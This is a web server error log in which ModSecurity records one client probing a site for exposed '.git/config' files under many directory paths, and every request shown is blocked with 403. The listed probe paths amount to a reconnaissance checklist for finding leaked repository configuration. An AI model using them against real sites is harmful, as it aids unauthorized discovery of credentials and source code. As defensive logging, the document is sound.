[Thu Jan 16 14:20:45.859202 2025] [:error] [pid 510629] [client 45.135.232.70:49506] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo2gAAAAw&quot;]
[Thu Jan 16 14:20:45.859566 2025] [:error] [pid 511460] [client 45.135.232.70:49532] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60fgAAAAA&quot;]
[Thu Jan 16 14:20:45.859794 2025] [:error] [pid 511460] [client 45.135.232.70:49532] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60fgAAAAA&quot;]
[Thu Jan 16 14:20:45.863893 2025] [:error] [pid 510637] [client 45.135.232.70:49484] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VewAAAA8&quot;]
[Thu Jan 16 14:20:45.864217 2025] [:error] [pid 510637] [client 45.135.232.70:49484] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VewAAAA8&quot;]
[Thu Jan 16 14:20:45.864481 2025] [:error] [pid 510637] [client 45.135.232.70:49484] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VewAAAA8&quot;]
[Thu Jan 16 14:20:45.865261 2025] [:error] [pid 510615] [client 45.135.232.70:49576] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /test/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0ugAAAAk&quot;]
[Thu Jan 16 14:20:45.865448 2025] [:error] [pid 510615] [client 45.135.232.70:49576] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0ugAAAAk&quot;]
[Thu Jan 16 14:20:45.865593 2025] [:error] [pid 510615] [client 45.135.232.70:49576] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0ugAAAAk&quot;]
[Thu Jan 16 14:20:45.868714 2025] [:error] [pid 500653] [client 45.135.232.70:49620] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNEAAAAAE&quot;]
[Thu Jan 16 14:20:45.869285 2025] [:error] [pid 500653] [client 45.135.232.70:49620] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNEAAAAAE&quot;]
[Thu Jan 16 14:20:45.869716 2025] [:error] [pid 500653] [client 45.135.232.70:49620] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNEAAAAAE&quot;]
[Thu Jan 16 14:20:45.877726 2025] [:error] [pid 501744] [client 45.135.232.70:49424] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /workers/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/workers/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlIgAAAAY&quot;]
[Thu Jan 16 14:20:45.877923 2025] [:error] [pid 501744] [client 45.135.232.70:49424] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/workers/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlIgAAAAY&quot;]
[Thu Jan 16 14:20:45.878074 2025] [:error] [pid 501744] [client 45.135.232.70:49424] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/workers/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlIgAAAAY&quot;]
[Thu Jan 16 14:20:45.886902 2025] [:error] [pid 507252] [client 45.135.232.70:49610] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-includes/js/.git/config/admin/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config/admin/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNtQAAAAc&quot;]
[Thu Jan 16 14:20:45.887179 2025] [:error] [pid 507252] [client 45.135.232.70:49610] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config/admin/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNtQAAAAc&quot;]
[Thu Jan 16 14:20:45.887383 2025] [:error] [pid 507252] [client 45.135.232.70:49610] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-includes/js/.git/config/admin/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNtQAAAAc&quot;]
[Thu Jan 16 14:20:45.930892 2025] [:error] [pid 510617] [client 45.135.232.70:49428] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiMQAAAAs&quot;]
[Thu Jan 16 14:20:45.931362 2025] [:error] [pid 510617] [client 45.135.232.70:49428] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiMQAAAAs&quot;]
[Thu Jan 16 14:20:45.931791 2025] [:error] [pid 510617] [client 45.135.232.70:49428] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiMQAAAAs&quot;]
[Thu Jan 16 14:20:45.946687 2025] [:error] [pid 511462] [client 45.135.232.70:49482] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/mu-plugins/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/mu-plugins/.git/config&quot;] [unique_id &quot;Z4kHrd__iyt1VPg6sGmtPgAAAAQ&quot;]
[Thu Jan 16 14:20:45.949024 2025] [:error] [pid 510631] [client 45.135.232.70:49516] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExYgAAAA4&quot;]
[Thu Jan 16 14:20:45.949454 2025] [:error] [pid 510631] [client 45.135.232.70:49516] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExYgAAAA4&quot;]
[Thu Jan 16 14:20:45.949667 2025] [:error] [pid 511461] [client 45.135.232.70:49448] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /staging/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Z4kHrRi1z6Kpc54N0oJcqwAAAAI&quot;]
[Thu Jan 16 14:20:45.949916 2025] [:error] [pid 510631] [client 45.135.232.70:49516] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExYgAAAA4&quot;]
[Thu Jan 16 14:20:45.950456 2025] [:error] [pid 511461] [client 45.135.232.70:49448] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Z4kHrRi1z6Kpc54N0oJcqwAAAAI&quot;]
[Thu Jan 16 14:20:45.950913 2025] [:error] [pid 511461] [client 45.135.232.70:49448] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Z4kHrRi1z6Kpc54N0oJcqwAAAAI&quot;]
[Thu Jan 16 14:20:45.951167 2025] [:error] [pid 511462] [client 45.135.232.70:49482] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/mu-plugins/.git/config&quot;] [unique_id &quot;Z4kHrd__iyt1VPg6sGmtPgAAAAQ&quot;]
[Thu Jan 16 14:20:45.951513 2025] [:error] [pid 511462] [client 45.135.232.70:49482] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/mu-plugins/.git/config&quot;] [unique_id &quot;Z4kHrd__iyt1VPg6sGmtPgAAAAQ&quot;]
[Thu Jan 16 14:20:45.985077 2025] [:error] [pid 510616] [client 45.135.232.70:49492] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95PwAAAAo&quot;]
[Thu Jan 16 14:20:45.991194 2025] [:error] [pid 510629] [client 45.135.232.70:49556] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/plugins/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo2wAAAAw&quot;]
[Thu Jan 16 14:20:45.991808 2025] [:error] [pid 510629] [client 45.135.232.70:49556] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo2wAAAAw&quot;]
